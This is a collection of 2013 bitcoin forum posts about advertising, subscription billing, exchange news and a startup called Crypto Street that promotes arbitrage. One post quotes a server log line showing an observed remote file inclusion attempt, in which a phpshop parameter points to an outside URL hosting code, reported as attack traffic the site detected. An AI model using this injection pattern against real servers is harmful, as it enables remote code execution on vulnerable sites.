What bitcoin-related websites offer direct buy banner advertising? Newsletter advertising? I've heard there are a few bitcoin ad networks? Are they good? Bitcoin affiliate network?
I'm putting together a marketing plan for a bitcoin startup and need to know where best to target ads to bitcoin users. Thanks.

What's worse, is Tradehill is suspending bitcoin trading!! This is nuts. I received an announcement from Tradehill last night saying This correspondence is to inform you Tradehill is suspending its relationship with the Internet Archive Federal Credit Union (IAFCU). Tradehill is also suspending its Bitcoin trading activities, for the time being, and will reach out to you as soon as trading operations resume. If you would like Tradehill to wire you your US Dollar balance (if applicable), or if you have any questions or concerns, please feel free to contact your Personal Account Manager at Tradehill. Sincerely, The Tradehill Team

Your idea would best be implemented into a crypto-coin wallet hosted online, which allowed for merchant API access. It's there that this would be the easiest to use, and code.
OK, that piece of technology makes sense. But question is, would a merchant ever prefer this form of subscription billing over the customer entering a credit card number? Sure the 2-3% can be saved, and sure there is no chance of fraud, but in an ongoing subscription billing service, most businesses don't need to worry about fraud. So what is the value to the merchant?

I come from a world of direct-to-consumer monthly subscription services and realize that a huge hurdle for widespread adoption of digital currency payments, especially online, is the lack of automated re-billing. Here's an idea: SOLUTION?What do you guys think about a wallet software (either online or PC-based) that merchants could directly interface with to schedule timed payments be released to the merchant. The walletholder must agree to the payments and as long as enough BTC exists in the wallet, the wallet will push the scheduled payment to the merchant's address. PayPal does something similar. What I like about this idea is that, unlike simple credit card subscriptions where you'll only know you're being charged if you look at your monthly bill, and if you want to unsubscribe you must contact the merchant and/or go through a whole cancellation process, you can see and cancel from any subscription. Services like Netflix's original DVD-by-mail model require easy access to a customer's credit card because the nonprofitable folks who rented DVDs everyday were offset by the folks who underutilized the service with only a rental or two per month. And some members haven't rented in quite a few months while still being billed monthly! Like it or not, it's a revenue model that businesses have come to rely on. WHAT'S WRONG WITH THIS?Someone mentioned WalletBit offers this service (see https://bitcointalk.org/index.php?topic=179227.msg1869819#msg1869819), but I don't see any mention of this at WalletBit's website. A problem I see is that a person could either run out of BTC or purposely pull their BTC to prevent services from being able to receive next month's funds. Sure, you could say anyone could max out a credit card today or claim a card as lost which would prevent a biller from receiving the next payment, but it's a lot more work for a deadbeat to close or max out a card than just pulling funds from this wallet and going dark. This hurts merchants in scenarios where the customer is holding rented inventory that the merchant will never be able to recoup, whereas they could simply have charged the customer's credit card for an unreturned item. Any ideas on solving this? I'd love to hear your thoughts that can protect the merchant while still being fair for the customer.

I just tried using the contact feature to reach out to a few journalists. I get both a success and a failure message. Does this feature work yet?

It's incredible. Just one week after launching we are discovering attack attempts at Crypto Street! Perhaps it's from today's press mention from Silicon Angle? I can't believe it's happening so quickly, even before opening up to any real trading. We discovered thousands of attempts on https://www.crypto.st like this: 10.224.157.91 - - [09/May/2013:04:18:42 +0000] "GET /phpshop/index.php?base_dir=http://www.uniscan.com.br/c.txt? HTTP/1.1" 502 172 "-" "-" "176.31.99.77, 141.101.99.115" It's good our security manager uncovered and solved this early so that when we do open up trading, we'll be ready. This is a good time to announce we're looking to recruit additional web/server security help. PM me.

He will not do it, Max is working on his own exchange so that would conflict with his exchange. What is Max working on? On his site there's a banner ad for https://exante.eu/. Is that who he's working with?

We're looking to build out our team for Crypto Street. There's been some buzz aboutCrypto Street -- a NO FEE trading platform with powerful FOREX day-trading tools for LTC, BTC, PPC, NMC -- scheduled for launch mid-May. This will be the first of its kind in the crypto-currency world. We're already beta testing this fantastic service and are currently taking early free registrations. Our team consists of a few seasoned programmers, a few marketers, some network/web security admins, and a CEO who also programs. As a team, we've launched various successful online companies in the past. We're all located in New Jersey but will consider very talented, driven folks anywhere in the world. We could use some assistance in: - finance PR / media relations - regulatory compliance - legal/attorney - web copy writing - customer support (this is going to be a biggie) - marketing - finance analysts or finance journalists - designers - and always... more developers What type of money is there to be made? Buku bucks. PM me or email geo@crypto.st with your expertise, resume, location, and time availability for a project like this.

Well, we have been marbitraging internally :-) It's how we test the system but it will take some significant volume and funds to close that gap and we're attracting early traders into Crypto Street with the opportunity for arbitrage.

Original blog post at: https://www.crypto.st/blog/2013/04/jumpstarting-the-old-tickerIntroducing one of the first cross-exchange bitcoin and litecoin price tickers, and you can guess what that means... hint... it rhymes with marbitrage. Crypto Street is hard at work doing our development and beta testing. We just got our cross-exchange price ticker working for Bitcoin-to-Dollars and Litecoin-to-Dollars, which aggregates the order books from various exchanges including BTC-e, MtGox, Vircurex, and Bitstamp. We notice something pretty remarkable -- the Bids are higher than the Asks. No, this is not a programming error. It's a true representation of the fragmentation in the market at different exchanges. Enter Crypto Street: As a meta-exchange, we'll provide liquidity by leveraging the volume across other well-established exchanges. And since it's difficult to shuffle dollars (or other fiat money) from one exchange to the next, pricing gaps occur between the exchanges. We've all bought bitcoins at BTC-e and sold for $5-10 higher at MtGox, but have been hung up on how to do it over and over again since it's not easy to instantly fund BTC-e with dollars. When Crypto Street launches, we'll hold massive funds within each exchange, eliminating the need to figure out this funneling. Just place orders through Crypto Street and we'll handle finding where to get you the best price. So what rhymes with marbitrage? Car garage? Smart massage? Nahhhh... I think you get it.

Good luck with this. Just to be helpful, your SSL certificate is not set up properly and seems to be throwing an error.
